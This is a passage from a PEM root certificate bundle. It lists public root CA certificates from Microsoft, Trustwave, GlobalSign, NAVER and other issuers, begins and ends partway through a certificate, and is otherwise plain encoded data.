MIICWTCCAd+gAwIBAgIQZvI9r4fei7FK6gxXMQHC7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV
UzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQgRUND
IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjMwNjQ1WhcNNDIwNzE4
MjMxNjA0WjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYw
NAYDVQQDEy1NaWNyb3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwdjAQ
BgcqhkjOPQIBBgUrgQQAIgNiAATUvD0CQnVBEyPNgASGAlEvaqiBYgtlzPbKnR5vSmZRogPZnZH6
thaxjG7efM3beaYvzrvOcS/lpaso7GMEZpn4+vKTEAXhgShC48Zo9OYbhGBKia/teQ87zvH2RPUB
eMCjVDBSMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTIy5lycFIM
+Oa+sgRXKSrPQhDtNTAQBgkrBgEEAYI3FQEEAwIBADAKBggqhkjOPQQDAwNoADBlAjBY8k3qDPlf
Xu5gKcs68tvWMoQZP3zVL8KxzJOuULsJMsbG7X7JNpQS5GiFBqIb0C8CMQCZ6Ra0DvpWSNSkMBaR
eNtUjGUBiudQZsIxtzm6uBoiB078a1QWIP8rtedMDE2mT3M=
-----END CERTIFICATE-----

Microsoft RSA Root Certificate Authority 2017
=============================================
-----BEGIN CERTIFICATE-----
MIIFqDCCA5CgAwIBAgIQHtOXCV/YtLNHcB6qvn9FszANBgkqhkiG9w0BAQwFADBlMQswCQYDVQQG
EwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQg
UlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjI1MTIyWhcNNDIw
NzE4MjMwMDIzWjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9u
MTYwNAYDVQQDEy1NaWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcw
ggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKW76UM4wplZEWCpW9R2LBifOZNt9GkMml
7Xhqb0eRaPgnZ1AzHaGm++DlQ6OEAlcBXZxIQIJTELy/xztokLaCLeX0ZdDMbRnMlfl7rEqUrQ7e
S0MdhweSE5CAg2Q1OQT85elss7YfUJQ4ZVBcF0a5toW1HLUX6NZFndiyJrDKxHBKrmCk3bPZ7Pw7
1VdyvD/IybLeS2v4I2wDwAW9lcfNcztmgGTjGqwu+UcF8ga2m3P1eDNbx6H7JyqhtJqRjJHTOoI+
dkC0zVJhUXAoP8XFWvLJjEm7FFtNyP9nTUwSlq31/niol4fX/V4ggNyhSyL71Imtus5Hl0dVe49F
yGcohJUcaDDv70ngNXtk55iwlNpNhTs+VcQor1fznhPbRiefHqJeRIOkpcrVE7NLP8TjwuaGYaRS
MLl6IE9vDzhTyzMMEyuP1pq9KsgtsRx9S1HKR9FIJ3Jdh+vVReZIZZ2vUpC6W6IYZVcSn2i51BVr
lMRpIpj0M+Dt+VGOQVDJNE92kKz8OMHY4Xu54+OU4UZpyw4KUGsTuqwPN1q3ErWQgR5WrlcihtnJ
0tHXUeOrO8ZV/R4O03QK0dqq6mm4lyiPSMQH+FJDOvTKVTUssKZqwJz58oHhEmrARdlns87/I6KJ
ClTUFLkqqNfs+avNJVgyeY+QW5g5xAgGwax/Dj0ApQIDAQABo1QwUjAOBgNVHQ8BAf8EBAMCAYYw
DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUCctZf4aycI8awznjwNnpv7tNsiMwEAYJKwYBBAGC
NxUBBAMCAQAwDQYJKoZIhvcNAQEMBQADggIBAKyvPl3CEZaJjqPnktaXFbgToqZCLgLNFgVZJ8og
6Lq46BrsTaiXVq5lQ7GPAJtSzVXNUzltYkyLDVt8LkS/gxCP81OCgMNPOsduET/m4xaRhPtthH80
dK2Jp86519efhGSSvpWhrQlTM93uCupKUY5vVau6tZRGrox/2KJQJWVggEbbMwSubLWYdFQl3JPk
+ONVFT24bcMKpBLBaYVu32TxU5nhSnUgnZUP5NbcA/FZGOhHibJXWpS2qdgXKxdJ5XbLwVaZOjex
/2kskZGT4d9Mozd2TaGf+G0eHdP67Pv0RR0Tbc/3WeUiJ3IrhvNXuzDtJE3cfVa7o7P4NHmJweDy
AmH3pvwPuxwXC65B2Xy9J6P9LjrRk5Sxcx0ki69bIImtt2dmefU6xqaWM/5TkshGsRGRxpl/j8nW
ZjEgQRCHLQzWwa80mMpkg/sTV9HB8Dx6jKXB/ZUhoHHBk2dxEuqPiAppGWSZI1b7rCoucL5mxAyE
7+WL85MB+GqQk2dLsmijtWKP6T+MejteD+eMuMZ87zf9dOLITzNy4ZQ5bb0Sr74MTnB8G2+NszKT
c0QWbej09+CVgI+WXTik9KveCjCHk9hNAHFiRSdLOkKEW39lt2c0Ui2cFmuqqNh7o0JMcccMyj6D
5KbvtwEwXlGjefVwaaZBRA+GsCyRxj3qrg+E
-----END CERTIFICATE-----

e-Szigno Root CA 2017
=====================
-----BEGIN CERTIFICATE-----
MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNVBAYTAkhVMREw
DwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUt
MjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJvb3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZa
Fw00MjA4MjIxMjA3MDZaMHExCzAJBgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UE
CgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3pp
Z25vIFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtvxie+RJCx
s1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+HWyx7xf58etqjYzBhMA8G
A1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSHERUI0arBeAyxr87GyZDv
vzAEwDAfBgNVHSMEGDAWgBSHERUI0arBeAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEA
tVfd14pVCzbhhkT61NlojbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxO
svxyqltZ+efcMQ==
-----END CERTIFICATE-----

certSIGN Root CA G2
===================
-----BEGIN CERTIFICATE-----
MIIFRzCCAy+gAwIBAgIJEQA0tk7GNi02MA0GCSqGSIb3DQEBCwUAMEExCzAJBgNVBAYTAlJPMRQw
EgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjAeFw0xNzAy
MDYwOTI3MzVaFw00MjAyMDYwOTI3MzVaMEExCzAJBgNVBAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lH
TiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjCCAiIwDQYJKoZIhvcNAQEBBQADggIP
ADCCAgoCggIBAMDFdRmRfUR0dIf+DjuW3NgBFszuY5HnC2/OOwppGnzC46+CjobXXo9X69MhWf05
N0IwvlDqtg+piNguLWkh59E3GE59kdUWX2tbAMI5Qw02hVK5U2UPHULlj88F0+7cDBrZuIt4Imfk
abBoxTzkbFpG583H+u/E7Eu9aqSs/cwoUe+StCmrqzWaTOTECMYmzPhpn+Sc8CnTXPnGFiWeI8Mg
wT0PPzhAsP6CRDiqWhqKa2NYOLQV07YRaXseVO6MGiKscpc/I1mbySKEwQdPzH/iV8oScLumZfNp
dWO9lfsbl83kqK/20U6o2YpxJM02PbyWxPFsqa7lzw1uKA2wDrXKUXt4FMMgL3/7FFXhEZn91Qqh
ngLjYl/rNUssuHLoPj1PrCy7Lobio3aP5ZMqz6WryFyNSwb/EkaseMsUBzXgqd+L6a8VTxaJW732
jcZZroiFDsGJ6x9nxUWO/203Nit4ZoORUSs9/1F3dmKh7Gc+PoGD4FapUB8fepmrY7+EF3fxDTvf
95xhszWYijqy7DwaNz9+j5LP2RIUZNoQAhVB/0/E6xyjyfqZ90bp4RjZsbgyLcsUDFDYg2WD7rlc
z8sFWkz6GZdr1l0T08JcVLwyc6B49fFtHsufpaafItzRUZ6CeWRgKRM+o/1Pcmqr4tTluCRVLERL
iohEnMqE0yo7AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1Ud
DgQWBBSCIS1mxteg4BXrzkwJd8RgnlRuAzANBgkqhkiG9w0BAQsFAAOCAgEAYN4auOfyYILVAzOB
ywaK8SJJ6ejqkX/GM15oGQOGO0MBzwdw5AgeZYWR5hEit/UCI46uuR59H35s5r0l1ZUa8gWmr4UC
b6741jH/JclKyMeKqdmfS0mbEVeZkkMR3rYzpMzXjWR91M08KCy0mpbqTfXERMQlqiCA2ClV9+BB
/AYm/7k29UMUA2Z44RGx2iBfRgB4ACGlHgAoYXhvqAEBj500mv/0OJD7uNGzcgbJceaBxXntC6Z5
8hMLnPddDnskk7RI24Zf3lCGeOdA5jGokHZwYa+cNywRtYK3qq4kNFtyDGkNzVmf9nGvnAvRCjj5
BiKDUyUM/FHE5r7iOZULJK2v0ZXkltd0ZGtxTgI8qoXzIKNDOXZbbFD+mpwUHmUUihW9o4JFWklW
atKcsWMy5WHgUyIOpwpJ6st+H6jiYoD2EEVSmAYY3qXNL3+q1Ok+CHLsIwMCPKaq2LxndD0UF/tU
Sxfj03k9bWtJySgOLnRQvwzZRjoQhsmnP+mg7H/rpXdYaXHmgwo38oZJar55CJD2AhZkPuXaTH4M
NMn5X7azKFGnpyuqSfqNZSlO42sTp5SjLVFteAxEy9/eCG/Oo2Sr05WE1LlSVHJ7liXMvGnjSG4N
0MedJ5qq+BOS3R7fY581qRY27Iy4g/Q9iY/NtBde17MXQRBdJ3NghVdJIgc=
-----END CERTIFICATE-----

Trustwave Global Certification Authority
========================================
-----BEGIN CERTIFICATE-----
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
29FpHOTKyeC2nOnOcXHebD8WpHk=
-----END CERTIFICATE-----

Trustwave Global ECC P256 Certification Authority
=================================================
-----BEGIN CERTIFICATE-----
MIICYDCCAgegAwIBAgIMDWpfCD8oXD5Rld9dMAoGCCqGSM49BAMCMIGRMQswCQYDVQQGEwJVUzER
MA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRydXN0d2F2ZSBI
b2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDI1NiBDZXJ0aWZp
Y2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MjMxOTM1MTBaFw00MjA4MjMxOTM1MTBaMIGRMQswCQYD
VQQGEwJVUzERMA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRy
dXN0d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDI1
NiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABH77bOYj
43MyCMpg5lOcunSNGLB4kFKA3TjASh3RqMyTpJcGOMoNFWLGjgEqZZ2q3zSRLoHB5DOSMcT9CTqm
P62jQzBBMA8GA1UdEwEB/wQFMAMBAf8wDwYDVR0PAQH/BAUDAwcGADAdBgNVHQ4EFgQUo0EGrJBt
0UrrdaVKEJmzsaGLSvcwCgYIKoZIzj0EAwIDRwAwRAIgB+ZU2g6gWrKuEZ+Hxbb/ad4lvvigtwjz
RM4q3wghDDcCIC0mA6AFvWvR9lz4ZcyGbbOcNEhjhAnFjXca4syc4XR7
-----END CERTIFICATE-----

Trustwave Global ECC P384 Certification Authority
=================================================
-----BEGIN CERTIFICATE-----
MIICnTCCAiSgAwIBAgIMCL2Fl2yZJ6SAaEc7MAoGCCqGSM49BAMDMIGRMQswCQYDVQQGEwJVUzER
MA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRydXN0d2F2ZSBI
b2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDM4NCBDZXJ0aWZp
Y2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MjMxOTM2NDNaFw00MjA4MjMxOTM2NDNaMIGRMQswCQYD
VQQGEwJVUzERMA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRy
dXN0d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDM4
NCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTB2MBAGByqGSM49AgEGBSuBBAAiA2IABGvaDXU1CDFH
Ba5FmVXxERMuSvgQMSOjfoPTfygIOiYaOs+Xgh+AtycJj9GOMMQKmw6sWASr9zZ9lCOkmwqKi6vr
/TklZvFe/oyujUF5nQlgziip04pt89ZF1PKYhDhloKNDMEEwDwYDVR0TAQH/BAUwAwEB/zAPBgNV
HQ8BAf8EBQMDBwYAMB0GA1UdDgQWBBRVqYSJ0sEyvRjLbKYHTsjnnb6CkDAKBggqhkjOPQQDAwNn
ADBkAjA3AZKXRRJ+oPM+rRk6ct30UJMDEr5E0k9BpIycnR+j9sKS50gU/k6bpZFXrsY3crsCMGcl
CrEMXu6pY5Jv5ZAL/mYiykf9ijH3g/56vxC+GCsej/YpHpRZ744hN8tRmKVuSw==
-----END CERTIFICATE-----

NAVER Global Root Certification Authority
=========================================
-----BEGIN CERTIFICATE-----
MIIFojCCA4qgAwIBAgIUAZQwHqIL3fXFMyqxQ0Rx+NZQTQ0wDQYJKoZIhvcNAQEMBQAwaTELMAkG
A1UEBhMCS1IxJjAkBgNVBAoMHU5BVkVSIEJVU0lORVNTIFBMQVRGT1JNIENvcnAuMTIwMAYDVQQD
DClOQVZFUiBHbG9iYWwgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MTgwODU4
NDJaFw0zNzA4MTgyMzU5NTlaMGkxCzAJBgNVBAYTAktSMSYwJAYDVQQKDB1OQVZFUiBCVVNJTkVT
UyBQTEFURk9STSBDb3JwLjEyMDAGA1UEAwwpTkFWRVIgR2xvYmFsIFJvb3QgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC21PGTXLVAiQqrDZBb
UGOukJR0F0Vy1ntlWilLp1agS7gvQnXp2XskWjFlqxcX0TM62RHcQDaH38dq6SZeWYp34+hInDEW
+j6RscrJo+KfziFTowI2MMtSAuXaMl3Dxeb57hHHi8lEHoSTGEq0n+USZGnQJoViAbbJAh2+g1G7
XNr4rRVqmfeSVPc0W+m/6imBEtRTkZazkVrd/pBzKPswRrXKCAfHcXLJZtM0l/aM9BhK4dA9WkW2
aacp+yPOiNgSnABIqKYPszuSjXEOdMWLyEz59JuOuDxp7W87UC9Y7cSw0BwbagzivESq2M0UXZR4
Yb8ObtoqvC8MC3GmsxY/nOb5zJ9TNeIDoKAYv7vxvvTWjIcNQvcGufFt7QSUqP620wbGQGHfnZ3z
VHbOUzoBppJB7ASjjw2i1QnK1sua8e9DXcCrpUHPXFNwcMmIpi3Ua2FzUCaGYQ5fG8Ir4ozVu53B
A0K6lNpfqbDKzE0K70dpAy8i+/Eozr9dUGWokG2zdLAIx6yo0es+nPxdGoMuK8u180SdOqcXYZai
cdNwlhVNt0xz7hlcxVs+Qf6sdWA7G2POAN3aCJBitOUt7kinaxeZVL6HSuOpXgRM6xBtVNbv8ejy
YhbLgGvtPe31HzClrkvJE+2KAQHJuFFYwGY6sWZLxNUxAmLpdIQM201GLQIDAQABo0IwQDAdBgNV
HQ4EFgQU0p+I36HNLL3s9TsBAZMzJ7LrYEswDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMB
Af8wDQYJKoZIhvcNAQEMBQADggIBADLKgLOdPVQG3dLSLvCkASELZ0jKbY7gyKoNqo0hV4/GPnrK
21HUUrPUloSlWGB/5QuOH/XcChWB5Tu2tyIvCZwTFrFsDDUIbatjcu3cvuzHV+YwIHHW1xDBE1UB
jCpD5EHxzzp6U5LOogMFDTjfArsQLtk70pt6wKGm+LUx5vR1yblTmXVHIloUFcd4G7ad6Qz4G3bx
hYTeodoS76TiEJd6eN4MUZeoIUCLhr0N8F5OSza7OyAfikJW4Qsav3vQIkMsRIz75Sq0bBwcupTg
E34h5prCy8VCZLQelHsIJchxzIdFV4XTnyliIoNRlwAYl3dqmJLJfGBs32x9SuRwTMKeuB330DTH
D8z7p/8Dvq1wkNoL3chtl1+afwkyQf3NosxabUzyqkn+Zvjp2DXrDige7kgvOtB5CTh8piKCk5XQ
A76+AqAF3SAi428diDRgxuYKuQl1C/AH6GmWNcf7I4GOODm4RStDeKLRLBT/DShycpWbXgnbiUSY
qqFJu3FS8r/2/yehNq+4tneI3TqkbZs0kNwUXTC/t+sX5Ie3cdCh13cV1ELX8vMxmV2b3RZtP+oG
I/hGoiLtk/bdmuYqh7GYVPEi92tF4+KOdh2ajcQGjTa3FPOdVGm3jjzVpG2Tgbet9r1ke8LJaDmg
kpzNNIaRkPpkUZ3+/uul9XXeifdy
-----END CERTIFICATE-----

AC RAIZ FNMT-RCM SERVIDORES SEGUROS
===================================
-----BEGIN CERTIFICATE-----
MIICbjCCAfOgAwIBAgIQYvYybOXE42hcG2LdnC6dlTAKBggqhkjOPQQDAzB4MQswCQYDVQQGEwJF
UzERMA8GA1UECgwIRk5NVC1SQ00xDjAMBgNVBAsMBUNlcmVzMRgwFgYDVQRhDA9WQVRFUy1RMjgy
NjAwNEoxLDAqBgNVBAMMI0FDIFJBSVogRk5NVC1SQ00gU0VSVklET1JFUyBTRUdVUk9TMB4XDTE4
MTIyMDA5MzczM1oXDTQzMTIyMDA5MzczM1oweDELMAkGA1UEBhMCRVMxETAPBgNVBAoMCEZOTVQt
UkNNMQ4wDAYDVQQLDAVDZXJlczEYMBYGA1UEYQwPVkFURVMtUTI4MjYwMDRKMSwwKgYDVQQDDCNB
QyBSQUlaIEZOTVQtUkNNIFNFUlZJRE9SRVMgU0VHVVJPUzB2MBAGByqGSM49AgEGBSuBBAAiA2IA
BPa6V1PIyqvfNkpSIeSX0oNnnvBlUdBeh8dHsVnyV0ebAAKTRBdp20LHsbI6GA60XYyzZl2hNPk2
LEnb80b8s0RpRBNm/dfF/a82Tc4DTQdxz69qBdKiQ1oKUm8BA06Oi6NCMEAwDwYDVR0TAQH/BAUw
AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFAG5L++/EYZg8k/QQW6rcx/n0m5JMAoGCCqG
SM49BAMDA2kAMGYCMQCuSuMrQMN0EfKVrRYj3k4MGuZdpSRea0R7/DjiT8ucRRcRTBQnJlU5dUoD
zBOQn5ICMQD6SmxgiHPz7riYYqnOK8LZiqZwMR2vsJRM60/G49HzYqc8/5MuB1xJAWdpEgJyv+c=
-----END CERTIFICATE-----

GlobalSign Root R46
===================
-----BEGIN CERTIFICATE-----
MIIFWjCCA0KgAwIBAgISEdK7udcjGJ5AXwqdLdDfJWfRMA0GCSqGSIb3DQEBDAUAMEYxCzAJBgNV
BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQDExNHbG9iYWxTaWduIFJv
b3QgUjQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAwMDAwMFowRjELMAkGA1UEBhMCQkUxGTAX
BgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExHDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBSNDYwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCsrHQy6LNl5brtQyYdpokNRbopiLKkHWPd08Es
CVeJOaFV6Wc0dwxu5FUdUiXSE2te4R2pt32JMl8Nnp8semNgQB+msLZ4j5lUlghYruQGvGIFAha/
r6gjA7aUD7xubMLL1aa7DOn2wQL7Id5m3RerdELv8HQvJfTqa1VbkNud316HCkD7rRlr+/fKYIje
2sGP1q7Vf9Q8g+7XFkyDRTNrJ9CG0Bwta/OrffGFqfUo0q3v84RLHIf8E6M6cqJaESvWJ3En7YEt
bWaBkoe0G1h6zD8K+kZPTXhc+CtI4wSEy132tGqzZfxCnlEmIyDLPRT5ge1lFgBPGmSXZgjPjHvj
K8Cd+RTyG/FWaha/LIWFzXg4mutCagI0GIMXTpRW+LaCtfOW3T3zvn8gdz57GSNrLNRyc0NXfeD4
12lPFzYE+cCQYDdF3uYM2HSNrpyibXRdQr4G9dlkbgIQrImwTDsHTUB+JMWKmIJ5jqSngiCNI/on
ccnfxkF0oE32kRbcRoxfKWMxWXEM2G/CtjJ9++ZdU6Z+Ffy7dXxd7Pj2Fxzsx2sZy/N78CsHpdls
eVR2bJ0cpm4O6XkMqCNqo98bMDGfsVR7/mrLZqrcZdCinkqaByFrgY/bxFn63iLABJzjqls2k+g9
vXqhnQt2sQvHnf3PmKgGwvgqo6GDoLclcqUC4wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYD
VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA1yrc4GHqMywptWU4jaWSf8FmSwwDQYJKoZIhvcNAQEM
BQADggIBAHx47PYCLLtbfpIrXTncvtgdokIzTfnvpCo7RGkerNlFo048p9gkUbJUHJNOxO97k4Vg
JuoJSOD1u8fpaNK7ajFxzHmuEajwmf3lH7wvqMxX63bEIaZHU1VNaL8FpO7XJqti2kM3S+LGteWy
gxk6x9PbTZ4IevPuzz5i+6zoYMzRx6Fcg0XERczzF2sUyQQCPtIkpnnpHs6i58FZFZ8d4kuaPp92
CC1r2LpXFNqD6v6MVenQTqnMdzGxRBF6XLE+0xRFFRhiJBPSy03OXIPBNvIQtQ6IbbjhVp+J3pZm
OUdkLG5NrmJ7v2B0GbhWrJKsFjLtrWhV/pi60zTe9Mlhww6G9kuEYO4Ne7UyWHmRVSyBQ7N0H3qq
JZ4d16GLuc1CLgSkZoNNiTW2bKg2SnkheCLQQrzRQDGQob4Ez8pn7fXwgNNgyYMqIgXQBztSvwye
qiv5u+YfjyW6hY0XHgL+XVAEV8/+LbzvXMAaq7afJMbfc2hIkCwU9D9SGuTSyxTDYWnP4vkYxboz
nxSjBF25cfe1lNj2M8FawTSLfJvdkzrnE6JwYZ+vj+vYxXX4M2bUdGc6N3ec592kD3ZDZopD8p/7
DEJ4Y9HiD2971KE9dJeFt0g5QdYg/NA6s/rob8SKunE3vouXsXgxT7PntgMTzlSdriVZzH81Xwj3
QEUxeCp6
-----END CERTIFICATE-----

GlobalSign Root E46
===================
-----BEGIN CERTIFICATE-----
MIICCzCCAZGgAwIBAgISEdK7ujNu1LzmJGjFDYQdmOhDMAoGCCqGSM49BAMDMEYxCzAJBgNVBAYT
AkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQDExNHbG9iYWxTaWduIFJvb3Qg
RTQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAwMDAwMFowRjELMAkGA1UEBhMCQkUxGTAXBgNV
BAoTEEdsb2JhbFNpZ24gbnYtc2ExHDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBFNDYwdjAQBgcq
hkjOPQIBBgUrgQQAIgNiAAScDrHPt+ieUnd1NPqlRqetMhkytAepJ8qUuwzSChDH2omwlwxwEwkB
jtjqR+q+soArzfwoDdusvKSGN+1wCAB16pMLey5SnCNoIwZD7JIvU4Tb+0cUB+hflGddyXqBPCCj
QjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQxCpCPtsad0kRL
gLWi5h+xEk8blTAKBggqhkjOPQQDAwNoADBlAjEA31SQ7Zvvi5QCkxeCmb6zniz2C5GMn0oUsfZk
vLtoURMMA/cVi4RguYv/Uo7njLwcAjA8+RHUjE7AwWHCFUyqqx0LMV87HOIAl0Qx5v5zli/altP+
CAezNIm8BZ/3Hobui3A=
-----END CERTIFICATE-----

GLOBALTRUST 2020
================
-----BEGIN CERTIFICATE-----
MIIFgjCCA2qgAwIBAgILWku9WvtPilv6ZeUwDQYJKoZIhvcNAQELBQAwTTELMAkGA1UEBhMCQVQx
IzAhBgNVBAoTGmUtY29tbWVyY2UgbW9uaXRvcmluZyBHbWJIMRkwFwYDVQQDExBHTE9CQUxUUlVT
VCAyMDIwMB4XDTIwMDIxMDAwMDAwMFoXDTQwMDYxMDAwMDAwMFowTTELMAkGA1UEBhMCQVQxIzAh
BgNVBAoTGmUtY29tbWVyY2UgbW9uaXRvcmluZyBHbWJIMRkwFwYDVQQDExBHTE9CQUxUUlVTVCAy
MDIwMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAri5WrRsc7/aVj6B3GyvTY4+ETUWi
